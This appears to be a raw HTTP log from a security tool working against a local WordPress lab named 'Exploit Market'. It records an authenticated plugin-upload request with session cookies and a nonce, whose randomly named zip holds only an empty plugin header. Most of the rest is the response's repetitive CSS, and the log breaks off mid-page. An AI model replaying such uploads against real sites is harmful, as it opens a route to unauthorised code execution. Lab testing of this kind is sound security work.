} )( "default", {"translation-revision-date":"2025-05-06 13:34:01+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Your session has expired. You can log in again from this page or go to the login page.":["Votre session a expir\u00e9. Vous pouvez vous reconnecter depuis cette page ou aller \u00e0 la page de connexion."]}},"comment":{"reference":"wp-includes\/js\/wp-auth-check.js"}} );
</script>
<script src="http://lab:5555/wp-includes/js/wp-auth-check.min.js?ver=6.8.1" id="wp-auth-check-js"></script>
<div class="clear"></div></div><!-- wpwrap -->
<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
</body>
</html>
####################
# Request:
####################
POST /wp-admin/update.php?action=upload-plugin HTTP/1.1
Host: lab:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7Cbd1e206a6750969cb56782e81d978d1796f1f8f8995f81cb4035a2bb20df7552; wordpress_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7Cbd1e206a6750969cb56782e81d978d1796f1f8f8995f81cb4035a2bb20df7552; wordpress_logged_in_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7C6f490708f78500a443157aa0707313a942bcf39d51fc990d829ecc6048cf153c;
Content-Type: multipart/form-data; boundary=---------------------------744511920589913438619921621436
Content-Length: 2251
-----------------------------744511920589913438619921621436
Content-Disposition: form-data; name="_wpnonce"
c9bdd41162
-----------------------------744511920589913438619921621436
Content-Disposition: form-data; name="_wp_http_referer"
/wp-admin/plugin-install.php?tab=upload
-----------------------------744511920589913438619921621436
Content-Disposition: form-data; name="pluginzip"; filename="wp_5qnbz.zip"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
PK/Z�wp_5qnbz/wp_5qnbz.php<?php
/**
* Plugin Name: wp_5qnbz
* Version: 5.2.5
* Author: Alphonso Osinski
* Author URI: http://rolfson.example/ariel_boyer
* License: GPL-2.0-or-later
*/
?>PK/ZZ�wp_5qnbz/wp_5qnbz.phpPK/Zp
-----------------------------744511920589913438619921621436
Content-Disposition: form-data; name="install-plugin-submit"
Install Now
-----------------------------744511920589913438619921621436--
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Wed, 28 May 2025 15:32:48 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.2.28
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Set-Cookie: wp-settings-3=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/, wp-settings-time-3=1748446368; expires=Thu, 28 May 2026 15:32:48 GMT; Max-Age=31536000; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html class="wp-toolbar"
lang="fr-FR">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Téléverser une extension ‹ Exploit Market — WordPress</title>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
var ajaxurl = '/wp-admin/admin-ajax.php',
pagenow = 'update',
typenow = '',
adminpage = 'update-php',
thousandsSeparator = ' ',
decimalPoint = ',',
isRtl = 0;
</script>
<link rel='stylesheet' href='http://lab:5555/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,buttons&ver=6.8.1' media='all' />
<style>
@media print { #wpadminbar { display:none; } }
</style>
<style id='wp-emoji-styles-inline-css'>
img.wp-smiley, img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<style class='wp-fonts-local'>
@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
</style>
<style class='wp-fonts-local'>
@font-face{font-family:Beiruti;font-style:normal;font-weight:200 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:italic;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:normal;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Roboto Slab";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Beiruti;font-style:normal;font-weight:200 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:italic;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:normal;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
